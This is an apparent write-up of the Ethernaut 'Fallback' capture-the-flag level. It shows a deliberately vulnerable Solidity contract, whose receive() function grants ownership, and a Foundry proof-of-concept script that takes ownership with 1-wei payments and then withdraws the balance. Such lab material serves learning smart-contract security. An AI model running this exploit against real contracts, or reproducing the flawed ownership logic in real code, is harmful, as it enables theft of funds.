Fallback
- How to send ether when interacting with an ABI
How to send ether outside of the ABI
Converting to and from wei/ether units (see
help()
command)Fallback methods
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Fallback { mapping(address => uint) public contributions; address public owner; constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint) { return contributions[msg.sender]; } function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); } receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }
- Call the
contribute()
function with a value set to 1 wei. - Call
senTransaction()
with 1 wei also to get ownership of the contract. - Call
withdraw()
to extract the funds from the contract.
This is frustrating to using the web console to interact with the contract. So I will try to redo the challenge but using foundry this time.
Let’s start with the same template as before but with the new contract instance address:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Script.sol"; interface Callee { } contract POC is Script { Callee level0 = Callee(0xCe9D58330C2623e00018a10164399238723A4F01); function run() external { uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY"); vm.startBroadcast(deployerPrivateKey); vm.stopBroadcast(); } }
It is stated that we have to :
- claim ownership of the contract
- reduce its balance to 0
This time it’s easier to get the contract interface since we directly have access to the contract source code.
interface Callee { function owner() view external returns(address); function contribute() external payable; function withdraw() external; function getContribution() external view returns (uint); }
This is the corresponding interface of the function we are going to utilize.
From here, everything is quite simple. After a close look at the contract source code we came with the following PoC:
contract POC is Script { Callee level1 = Callee(0x7f584a9D74D461eFDaD062AA9AfEe9629b96c780); function run() external { uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY"); vm.startBroadcast(deployerPrivateKey); console.logUint(level1.getContribution()); console.logAddress(level1.owner()); level1.contribute{value: 1}(); (bool sent,bytes memory data) = address(level1).call{value: 1}(""); require(sent, "Failed to sennd Ether"); console.logBytes(data); console.logUint(level1.getContribution()); level1.withdraw(); console.logUint(level1.getContribution()); console.logAddress(level1.owner()); vm.stopBroadcast(); } }
- Call the